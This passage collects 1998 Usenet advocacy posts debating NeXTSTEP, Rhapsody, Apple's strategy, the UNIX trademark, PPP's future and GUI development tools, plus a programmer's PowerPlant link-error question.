> | >It can't be called UNIX(tm), as in the trademark reference, agreed.
> |
> | >Linux is a Unix, using the term as a class reference describing a series of
> | >related operating systems.
> |
> | UNIX is not just a TradeMark (TM), but a *registered* trademark (R).
> | Perhaps you call a Ricoh copier a Xerox (R) machine, or your PUFFS tissue a
> | Kleenex (R), but in each case you're violating legal rights. Yes, we all
> | do it, but a "class reference" has no validity where trademark law is
> | concerned.
>
> Although if a trademark, registered or not, comes into near universal
> usage as a generic term, it can lose its trademark protection completely.
> That's why, for many years, Xerox has run full page print ads reminding us
> all that Xerox is a registered trademark and should never be used to
> describe other than genuine Xerox products.
yup, otherwise they forfeit the trademark protection
--
Aaron R. Kulkis
Unix Systems Administrator
---------------------------------------------------------------------------
I speak for me, not my employer
---------------------------------------------------------------------------
"What's wrong with 3rd party tools? Especially if they are free?
What the hell do you think unix is anyway? It's a big honkin' party
of 3rd party free tools." --Bob Cassidy (rmcassid@uci.edu)
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Date: 5 Apr 1998 15:58:01 -0400
Organization: Interport Communications Corp.
Message-ID: <6g8no9$627$1@interport.net>
References: <199801202218001457904@ppp8.hol.fr> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fvaev$6th$2@quasar.dimensional.com> <3523c525.0@206.25.228.5> <6g6g7e$atu$5@quasar.dimensional.com>
Kenneth R. Kinder (Ken@_$spamless$_KenAndTed.com) wrote:
: In comp.os.linux.advocacy , article <3523c525.0@206.25.228.5> , John Kheit <jkheit@xtdl.com> wrote:
: >> But the code itself is proprietary, and isn't OpenSource. I'll
: >> spare you my political speech about why things should be OpenSource,
: >> and leave it at this: I want an OS I can contribute to.
I have reliable information that Apple is using NetBSD for their
userland BSD codebase and FreeBSD for their kernel BSD codebase. And
they insist on being able to "send our changes back upstream since I
believe that staying in sync with our source provider is more
important than any competitive advantage that [not doing so] might buy
us. (verbatim quote from Wilfredo Sanchez <wsanchez@apple.com> of the
Rhapsody Core OS Group, except for what's between the []s.)
I can post or email the document that it comes from if anyone's
interested.
: Oh... Micros*ft is the worst... I dispise them faaar more than Apple or
: NeXT. I disagree with some Apple and Next tactics, but what Microsoft gets
: away with is far worse.
Heheh, I thought I hated MacOS and Windows . . . until I met Win95.
Then I discovered that I merely disliked MacOS.
: Anyway, I have yet to see a GUI that doesn't rely too much on a mouse,
: besides the Word Perfect 6 for DOS one.
Yes, my biggest problem with NeXTStep is that it's impossible to get
away with using only the keyboard, for most things. Even Win3.1 was
better about that.
--
Ben
<Just Another System Administrator>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <maury-0604981132420001@ts77-09.tor.istar.ca>
References: <maury-0504982052210001@ts62-16.tor.istar.ca> <B14DD5D9-5FDE2@206.165.43.142>
Organization: Atria Software
Date: Mon, 06 Apr 1998 15:30:59 GMT
NNTP-Posting-Date: Mon, 06 Apr 1998 11:30:59 EST
In article <B14DD5D9-5FDE2@206.165.43.142>, "Lawson English"
<english@primenet.com> wrote:
> OTOH, I *have* done "to the metal" graphics work on a 604
[snip]
> I'm pretty confident, based on my experience, that implementing GX bitmap
> drawing in one pass is the easiest and most efficient way of doing it.
I'm pretty confident that the NSImageView that I drag into my apps is
the "easiest and most efficient way". No code at all.
Maury
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 16:11:15 GMT
Organization: P & L Systems
Message-ID: <6gaur3$fhe$7@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <6dbrd2$fn6$22@ironhorse.plsys.co.uk>
<34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com>
<slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com>
<slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fvaev$6th$2@quasar.dimensional.com>
<3523c525.0@206.25.228.5> <6g6g7e$atu$5@quasar.dimensional.com>
<6g8no9$627$1@interport.net>
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Cc: float@interport.net
In <6g8no9$627$1@interport.net> float@interport.net wrote:
Kenneth R. Kinder (Ken@_$spamless$_KenAndTed.com) wrote:
> : Anyway, I have yet to see a GUI that doesn't rely too much on a mouse,
> : besides the Word Perfect 6 for DOS one.
>
As far as I can tell, Windows does allow for pretty much the whole UI to be
navigated without a mouse.
> Yes, my biggest problem with NeXTStep is that it's impossible to get
> away with using only the keyboard, for most things. Even Win3.1 was
> better about that.
>
A recognised failing in NEXTSTEP, which OPENSTEP addresses. If you compare
NEXTSTEP and OPENSTEP applications you will find that the latter are much
more readily navigated using a mouse.
Best wishes,
mmalc.
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 17:34:22 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gb3mu$kc8$5@anvil.BLaCKSMITH.com>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fvaev$6th$2@quasar.dimensional.com> <6g0ffj$k6c$3@anvil.BLaCKSMITH.com> <6g5vv5$fhe$1@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <6g0ffj$k6c$3@anvil.BLaCKSMITH.com> Charles Swiger wrote:
>> Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>> [ ... ]
>>> I want an OS I can contribute to.
>>
>> You are free to contribute to the GNUstep project.
>> You are also free to contribute to the MiscKit.
>
> Umm, hang on, do we *want* Ken contributing to these?! :-)
An optimist would suggest that he has to be good at something-- maybe he can
write decent code. :-)
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 13:00:06 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6gajkm$9oq$1@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <6dbrd2$fn6$22@ironhorse.plsys.co.uk>
<34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com>
<slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com>
<slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
<6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net>
<6g6fhr$atu$3@quasar.dimensional.com>
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Cc: Ken@_$spamless$_KenAndTed.com
In <6g6fhr$atu$3@quasar.dimensional.com> Kenneth R. Kinder claimed:
> > Uh huh. I'd put this right up with your most clueless statements ever.
>
> Funny. I've programmed PPP interfaces...
So what? What does that have to do with your statement that PPP is going
to go away shortly?
> > Hint: there's a whole world out there that's never seen cable TV, and
> > entire countries with less than a T1 bandwidth. PPP will be around for a
> > very long time.
>
> Hint: If I was a Mac or Next user, you'd agree with me
BALOGNA!
> I suppose you thought Slip would be around forever too? Already, many new
> replacements for the PPP protocal are out, and being refined. PPP will not
> be obsoleted by optical cable as you seem to think, but by newer protocals
> that are more robust, and hopefully, with cryptography.
In 3 years? Care to put money on that one? I am rather willing to bet
that PPP will still be the primary dialup method on Dec 1, 2001.
Maury
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 18:01:08 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gb594$kc8$7@anvil.BLaCKSMITH.com>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6jrc$9j9$1@news.cs.tu-berlin.de> <6g909g$3cl$1@quasar.dimensional.com> <6ga6l3$fhe$6@ironhorse.plsys.co.uk> <maury-0604981128160001@ts77-09.tor.istar.ca>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
[ ... ]
>> Think back to 1988 and then tell us, given NeXT's goal of using standards
>> where they make sense, and diverging when they could do something
>> significantly better, tell us again what format you'd have chosen.
>
> The only problem I have with ALL of these formats, compared to Mac text
> format, is that the formatting is internal. Now under OpenStep this isn't
> much of an issue because everyone's using NSTextViews and such, but give
> the file to a Mac or PC user and things are a little tougher. Out of band
> formatting definitely has it's advantages.
Well, RTF documents generated on a NeXT interoperate pretty well with PC
users. There is a difference between the NeXT standard encoding and the
ISO-Latin-1 for the high-bit characters, but it's usually not a big problem.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 6 Apr 1998 17:02:13 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gb1ql$kc8$2@anvil.BLaCKSMITH.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net> <3523BFDF.529161F8@nstar.net> <6g3igl$452$3@anvil.BLaCKSMITH.com> <3525C014.1597@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> Charles Swiger wrote:
>>> But I can understand why your shell seemed so useless, if you really
>>> used the box as it shipped; you didn't have filename completion,
>>
>> False. Even the standard csh supports filename completion.
>
> Not as shipped, no.
Wrong. The /bin/csh binary shipped with NEXTSTEP supports filename
completion. Try the escape key, rather than the tab used by many other
shells.
>>> ANSI color directory listings,
>>
>> Sheesh! Since the majority of NeXT hardware sold was mono systems, I
>> think they could be forgiven for not shipping a color 'ls'.
>
> color-ls on a mono screen at least gives bold. On a NeXT four-color
> screen it would have been useful in a significant way. Have you used
> color-ls on a mono screen? At the very least, it at least highlights
> directories, causing a significant jump in readability (how significant?
> Probably more significant than left-handed scrollbars).
I've used a colorized ls with both the 4-greyscale and color displays. I
find it somewhat distracting and ugly, and I'm used to the 'ls -F' display.
>> Besides, what were you looking for? It was probably available....
>
> tcsh, ksh...
I know tcsh is available, and I believe the pdksh (public domain ksh)-- I'm
not sure about a stock Korn shell.
Of course, zsh can be easily configured to be a thorough upwardly compatible
replacement for tcsh and ksh, and zsh comes with the system.
> [cut]
>> Fine. focus-follows-mouse is available for NEXTSTEP; the rather simple
>> change to the WindowServer.ps code has been around for years and years.
>
> Which "Just Works"?
No. It would probably require 5 minutes of effort to apply the 30 line
textual diff in the correct place for the specific version of the
WindowServer.ps file your system had. No binary file modifications required.
You'd also have to restart the WindowServer (log out and log in as "exit").
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: accuracy of Stepwise Krishna article
Date: 6 Apr 1998 17:24:42 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gb34q$kc8$4@anvil.BLaCKSMITH.com>
References: <6eoo28$c1p$1@crib.bevc.blacksburg.va.us> <6eq7kp$pl2@mochi.lava.net> <slrn6h2ggl.gdm.marko@ns1.vrx.net> <6erm0k$p1f$2@ironhorse.plsys.co.uk> <6erpdg$96o$1@news.xmission.com> <6escen$to2$1@nnrp1.dejanews.com> <6etffv$g96$9@ns3.vrx.net> <6ev46i$qkn$1@nnrp1.dejanews.com> <6eulns$fh3$1@ns3.vrx.net> <quinlan-2003982045060001@pm22s6.intergate.bc.ca> <6f5q41$p1f$9@ironhorse.plsys.co.uk> <6f6ete$mhp$1@nnrp1.dejanews.com> <6f71cv$p1f$12@ironhorse.plsys.co.uk> <6fc2nm$46d$1@nnrp1.dejanews.com> <6fe4ml$3nm$3@anvil.BLaCKSMITH.com> <6fel82$c08$1@nnrp1.dejanews.com> <6fgmkg$fai$3@anvil.BLaCKSMITH.com> <6fhd55$q2r$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
> In article <6fgmkg$fai$3@anvil.BLaCKSMITH.com>,
> cswiger@BLaCKSMITH.com wrote:
[ ... ]
>> Then you're not doing MCCA development; you're doing commercial product
>> development for a specific niche. Maybe you should restate your original
>> point?
>
> Actually, I am not particularly interested in discussing development in a
> specific niche. I am just not creative enough to think of an example that
> doesn't fall in a niche. Maybe a word processor or spreadsheet?
Well, Malcolm of P&L systems has been talking to you, and his company has
Mesa-- a spreadsheet-- on the third-party software sampler disk.
> > I don't understand this comparision.
>
> It was stated that changes in Win32 may break the YB. I am pointed out that
> breaking software with API changes isn't a Microsoft only thing ie. NeXT
> had a nack for it.
Unfortunately true.
However, the way they are handling the PPL's encourages me that they have
learned this lesson. Rather than dropping API support completely, they
release it as an unsupported API for someone like the MiscKit.
>> Have you actually used an NC, or been an administrator where a large
>> number of NC's where being deployed? NC's are the year-2000's equivalent
>> of the 90's X terminal, the 80's diskless workstation, or the 70's VT100.
>
> Actually, I am more interested in handheld computing devices.
Currently, PDA's are outside the target market of Yellow Box.
>> Be my guest. To me, there is nothing desireable at all about writing
>> code for Windows 3.1, regardless of the size of the userbase.
>
> So if you had a killer application idea and Windows 3.1 represented 99% of
> the market then you wouldn't target it?
I don't know. To be honest, this hypothetical is tough for me to envision,
since my killer ideas tend to assume a greater common denominator of baseline
functionality than Win 3.1 provides.
And I have no desire to putz around with braindamage like the 64K segment
limitations of Win16, or the lack of real PMT, PM, VM, multithreading, proper
blocking support, and so forth.
>> If the developer is interested in using Direct3D, then they are going to
>> have to learn D3D, obviously! Doing YellowBox development under Windows
>> in no way prevents you from writing programs which use D3D-- you have
>> full access to them.
>
> Sorry, I wasn't very clear and it does shift the argument. I meant that a
> developer would not have access to all of Microsoft's APIs through the YB
> APIs.
Why not? What prevents a YB program built and running on a Win32 platform
from calling Microsoft's API's? How do you think the YB widgets themselves
display using native Microsoft GDI API's?
>> Of course, for 99% of people want 3D hardware acceleration for one
>> reason only: games.
>
> The problem with RAVE is that the card vendor must write a driver for it.
Or Apple. I don't see the point.
> I doubt that they would enjoy doing that.
"They" refers to whom?
The card manufacturer? Apple? The developer?
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody vs. VisualBasic
Date: 6 Apr 1998 13:10:35 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6gak8b$9oq$2@ns3.vrx.net>
References: <35215529.2E181E25@slip.net> <6g40q9$452$6@anvil.BLaCKSMITH.com>
<slrn6ifdio.dbp.sal@panix3.panix.com>
Mime-Version: 1.0
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Cc: sal@panix3.panix.com
In <slrn6ifdio.dbp.sal@panix3.panix.com> Salvatore Denaro claimed:
> Tools like VB and Delphi provide GUI building that tightly link the "Form"
> to the code that controls it.
In fact until I used OpenStep I have never seen a system that _didn't_ do
this. AppWare does, PowerBuilder does, Omnis does, they all seem to. The
"tightness" of the linking varies too, AppWare linked your queries directly
to the connection object, which made changing engines impossible. The rest
(Delphi/Codebuilder, VB, PowerBuilder etc.) all do so at the "query" object
layer, which means your forms are linked to queries (as opposed to being
indirectly linked right to the engine as in AppWare) which reduces
inflexibility somewhat.
But no one decoupled the two completely as in EOF. Even the _concept_ that
you're talking to a database effectively disappears - the querys are handled
from the form directly and change with it, the linkage to the database
likewise. Logic is contained in "pure" objects that know nothing about
databases, and nothing about forms. This is the way it should work,
something that becomes obvious only once you see it.
Maury
From: leeyj@seri.re.kr (Young-Jin, Lee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Help Registration method....
Date: 8 Apr 1998 07:39:04 GMT
Organization: HPC Appl. Lab/SERI
Sender: -Not-Authenticated-[3150]
Message-ID: <6gf9io$861$1@green.kreonet.re.kr>
XDisclaimer: User not authenticated
Hi, All
I've met a link error, but I don't understand what it is.
I'll wait for your answer. Here is link error message.
declaration syntax error : CControlsApp.cp line 57
TRegistar<LToggleButton>::Register()
CControlsApp is the class name I made. I also included
"LToggleButton.h" and put class registration code in the constructor of
CControlsApp class like this.
...
RegisterClass_( LToggleButton );
...
Is there any mistake? If so, let me know.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 8 Apr 1998 07:38:20 GMT
Organization: @Home Network
Message-ID: <6gf9hc$37v$2@ha2.rdc1.sdca.home.com>
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <6ft833$lae@flonk.uk.sun.com>
<rmcassid-0104981112000001@dante.eng.uci.edu> <6fva9h$ris$1@ha2.rdc1.sdca.home.com>
<slrn6i6ofe.17n.mbkennel@lyapunov.ucsd.edu> <6g0pa6$3jq$1@ha2.rdc1.sdca.home.com>
<andyba-ya02408000R0704981803160001@news>
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Cc: andyba@corp.webtv.net
In <andyba-ya02408000R0704981803160001@news> Andy Bates wrote:
> In article <6g0pa6$3jq$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com (Rex
> Riley) wrote:
>
> > Apple has a hell of a lot of work to do to sell into the building
market
> > ahead for desktops. MacOS is the "BetaMax" of computing. Re-Building
an
> > empire on the foundations of a forlorned MacOS is committing Apple to
the
> > "niches" of History. Mac doesn't cut-it.
>
> Okay, so one formula for success is throwing out all your historical
> software, and starting again from scratch. Got it.
>
> > Neither does Techno-Elitism. Apple's superior hardware/software
integration
> > is just BetaMax fodder. All the "NC's suck" attitude in the world
isn't
> > going to help put Rhapsody on the top of the NC "Top 10" List.
>
> And another formula for success is not bragging about hardware or
software
> superiority, since that would just come off as "techno-elitism." Uh-huh.
>
> > The point is that the World isn't going to jump aboard this Rhapsody
ship,
> > anytime soon. Elitism, attitude and bragadaccio about Rhapsody's 10
year
> > heritage aside, There first needs to be a warm, fuzzy community.
>
> And how is this "warm, fuzzy community" going to form around a product
> which rejects its code base and starts from scratch, and decided not to
> tout its own technological advantages?
>
>
Let's start in-order.
The code base.
Day One-On, Apple's Macintosh code base was NOT rejected. Apple
incorporates Macintosh code base in Rhapsody BlueBox going forward.
MacApps run on Rhapsody. No "abandonment" . And Rhapsody apps can
interprocess with the BlueBox. The future of Apple's code base is
"Embraced and Extended".
Rhapsody starts from scratch.
Rhapsody is the product of a "market driven",10 year development effort.
Far, far from some R&D OS coming out of a Lab which hasn't gone through
the Baptism of "Real World" deployment. Rhapsody rises from the ashes of
far better schooled, funded and promoted OS's which never saw the "Light of
Day".
Apple doesn't tout Rhapsody's own technological advantages.
Superior hardware/software integration harkens back to the days of
proprietary systems. Optimizations to specific hardware configurations
"locks in" performance, "locks in" functionality and "locks in" third-party
vendors. Software is sold into Today's environment of "Open" computing.
Superior hardware design is an Apple trademark. Superior software design
is an Apple trademark. Let them stand on their own merits against
competing products in their respective "Open" markets. Don't force
Customers/Vendors to buy only Apple to get Rhapsody XX functionality. Let
them buy Apple because has the "right" solution.
How is this "warm, fuzzy community" going to form...
Usenet is a start, like right now. We are sharing a collective conscience
to meet the "needs" of a community. Apple can build infrastructure via the
Web to deliver support, services, product, information, reference and
collaboration. Yeah, NeXT let their competition show them how to use their
own technology to build a market (ie. Dell). Apple can put their
technology to work "for" the good of their own people. EGADS, maybe
out-source this to the community! I have 1/2 of this built in WebObjects,
already.
Productivity is the key... and the Web can deliver on that point in spades.
Usenet doesn't support the ability to form "consensus", "collaboration"
and "management" functions well. At best you RTFM, mail-lists, c.s.n.
newsgroups and network via phone to get work done. Hope that by
broadcasting your "problem" some one like M Paquette or Greg Anderson
returns with _the_ "solution". Let's put an interface on it ! Give the
Developer community a "place" to manage the MiscKits, FAQ's, BUGS,
etc...and working groups to "coordinate" ThirdParty development efforts
with Apple Engineering.
Tete-aÁ-Tete Sessions Monthly. OK so not everyone can afford the $65
one-way AirFare to SJ - put them on-the-road AND downlink via SATELLITE
worldwide. This is 1998.
GPL Projects: Oh my God? Yes... start building the responsibilty in the
community to "steward" the codebase. Pieces here, libs there, kits,
pretty soon the community has "ownership". Good Ole American notions of
"property" and "freedom". Nope, this isn't you MICROSOFT!
> It sounds like your plan needs a lot of work.
>
>
<requote><First Statement of Article>
Apple has a hell of a lot of work to do to sell into the building market
ahead for desktops.
</ requote>
Indeed, the plan does. And it doesn't get any easier by letting your
Developers flail at it with the tools of the Internet and the telephone.
Rather, I'd much rather build a communtiy, dialog, rapport, infrastructure
and resources to support success than to leave it up to each Developer
individually.
Around the corner is a vicious marketing battle for 'whole" networks of
desktops in the NC battles. Real savings are to be had by getting off
these PC's which command high support and maintenance dollars yearly.
MacOS is just as guilty as PC's on IS "trouble logs". Microsoft extends
its market advantage with Windows each time it moves the technological
marker forward. I don't advocate that it is as simple for Apple to extend
their "Windows" advantage by stretching Macintosh into the next level of
competition technologically.
Apple has a proverbial "ton" of repackaging, re-engineering work to build
product for that market. All the pieces are essentially there in Rhapsody
to get that effort started. That is where the nexus of efforts are
ultimately to converge. That is Rhapsody's fortÝ.
Most of the World has heard of Macintosh, used it or decided that it isn't
right. Why carry that "baggage" into the next arena? Most of the World
has heard of Windows, used it and decided it is right. Why not carry that
baggage into the next arena?
I understand that there is time between here and there. I understand that
Apple has to do something NOW. That they are doing Rhapsody NOW is right.
That they are doing Mac/NeXT GUI over Rhapsody may prove to be right. Is
it right to do MacNC? Is it right to do the Mac/NeXT RhapsodyNC? Is WebTV
right?
-r
Rex Riley
Date: Wed, 08 Apr 1998 19:47:45 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0804981947450001@wil49.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6gi8o4$oop$9@ironhorse.plsys.co.uk>
In article <6gi8o4$oop$9@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>
> Given that the cost of machines has reduced, all in all it looks to me like
> it's going to be cheaper for academics now than it ever has been.
Yeah. And they don't have to walk barefoot 12 miles uphill each way to get
to school like we did, either.
<grin>
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Tue, 07 Apr 1998 09:29:57 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-0704980929570001@dante.eng.uci.edu>
References: <rmcassid-0204980955590001@dante.eng.uci.edu> <B1494835-10C21@206.165.43.94> <rmcassid-0204981412130001@dante.eng.uci.edu> <6g257k$n50$3@ha2.rdc1.sdca.home.com> <rmcassid-0304981014240001@dante.eng.uci.edu> <6g44j5$5f6$2@ha2.rdc1.sdca.home.com> <rmcassid-0404981112000001@dialin9040.slip.uci.edu> <6g6mf7$4d1$1@ha2.rdc1.sdca.home.com> <rmcassid-0604980945430001@dante.eng.uci.edu> <6gcdl9$lk6$1@ha2.rdc1.sdca.home.com>
Xcanpos: shelf.1/199804221001!0002009856
In article <6gcdl9$lk6$1@ha2.rdc1.sdca.home.com>,
rexr@cx54440-a.dt1.sdca.home.com wrote:
>In <rmcassid-0604980945430001@dante.eng.uci.edu> rmcassid@uci.edu
>wrote:
>You've given me words to ponder and a re-framed premise which I admit
>holds truth. In fact, I see what you have been talking about - WinCE.
>"WinXX" pays the bills and hauls the freight. How shallow of me to
>think that all that wireless Java code would "roll" right past WinXX
>downstream as Java+Java interprocesses gained.
But at the same time we _should_ recognize that JavaOS or whatever does
have the collective attention. That's important to see where we are going.
MacOS had the collective attention (still does to a degree, which is good
for Apple) and Windows95 was the result. If JavaOS and Pilot has that
attention now, where will MS feel pressured to steer WinCE? So MS may
deliver a lot of what we want, perhaps by throwing in a real Java layer
that does the required 80% of what we want.
I think this phemomena of MS bending to the desires of the market is what
ultimately upsets their ability to deliver. If unix has the collective
attention at the high end, MacOS still has it somewhat in the middle, and
JavaOS/Pilot at the bottom - how many different directions can Windows
bend before it finally cannot bend any more? MS is supposed to increase
R&D to almost $5B over the next few years - will they get their money's
worth with this approach?
>Actually, the facts bear witness to nothing other than a bunch of
>licensing agreements. So other than a single IBM+Sun partnership
>moving forward on JavaOS for Business, I haven't much to backup my
>"collective" assertion.
Well you do have the fact that those agreements exist - which means that
enough people are thinking in the same direction. The chasm to leap is
turning the agreement into a product that people want. *That* is where
Java has failed in the past. We all love the hell out of the idea, until
it comes time to write code - then our priorities change.
>> JavaOS might be a great thing, but so far nobody knows it.
>
>I haven't implied this... my portrayal of WinCE as a "weak" excuse for
>handheldOS, yes. JavaOS is great, no. I haven't meant to imply this
>at all. I personally know that Java and by association JavaOS is quite
>sometime "down the road" before they will be "robust" competitors.
Reasonable enough. It's hard to look down the road in this industry. In 5
years Apple could be MS and MS could be Apple. You seem have a better
feeling for Java's future than I.
>I believe that there exists a transition - you may disagree,
>fundamentally. I encourage every opportunity to strengthen "bridges"
>to a next platform. I discourage firming-up old architectures to build
>an uncertain future. ( it is someone other than MS that came up with
>Java isn't it?)
I fundamentally disagree in transitions in the computer industry. We call
things transitions to make us feel better, but they rarely are little more
than organized reimplementations in the end.
I do agree with you though. I'm dealing with an architecture issue right
now that could either lean back towards some nice, old, solution that has
worked more or less like a champ for some 15 years or towards developing a
nice, new solution based on nice, new technology. Personally, I have
serious reservations about installing a new system based on ANSI 74 COBOL
that won't be fully implemented until 2004 and run until 2019 based on how
we operate around here. Who the hell is going to maintain this thing?
I like going forward. Like moving every few years, it helps you clean out
the attic. I like going to Java - but then I don't get paid to write code
all day (only part of the day).
>>It's never been a very good idea to bet against MS, though. Once they dig in,
>>it's damn hard to move them.
>
><Heels Down><Dig="HARD">
>
>Well, I concede most of this thread tonight but not the final
>conclusion. You might have this last point on historical grounds.
>Afterall, History is on your side. Nothing I present will dissolve
>your shield of Historical Accuracy. But philosphically, I part ways
>with the direction of your premise. To not is to commit posterity to
>the "Model A" of antiquity. Yes, Wm. Gates has made a fortune on
>producing "one" flavor of computing. It's now time historically, to
>broaden the notion of computing. Not Ford .vs. Chrysler (ie. American
>v American) nor Ford .vs. Jaguar (ie. Big Fish eats small fish) or
>Ford .vs. Toyota ( ie. American .vs. Japanese). JavaOS embodies the
>opportunity to circumvent Monopoly, Aggregation, Trans-national
>disputes and brittle economies of the 20th Century.
Actually I think we agree quite a lot here. My position, based on where we
started, is that Apple might be leveraging MS's historical trend to
Apple's advantage. Perhaps Apple has one element in that 'broader notion
of computing', who knows if they really do, I think Steve belives that
they do, which is all my argument requires. If so, Apple has two goals
ahead of it:
1) Clearly establish that they are an element in this broader notion.
(evangelism, marketing, demonstration, however)
2) Provide a way to adopt that element fairly painlessly.
(transition)
MS provides #2 for Apple by having Apple cozy up to MS and be viewed as
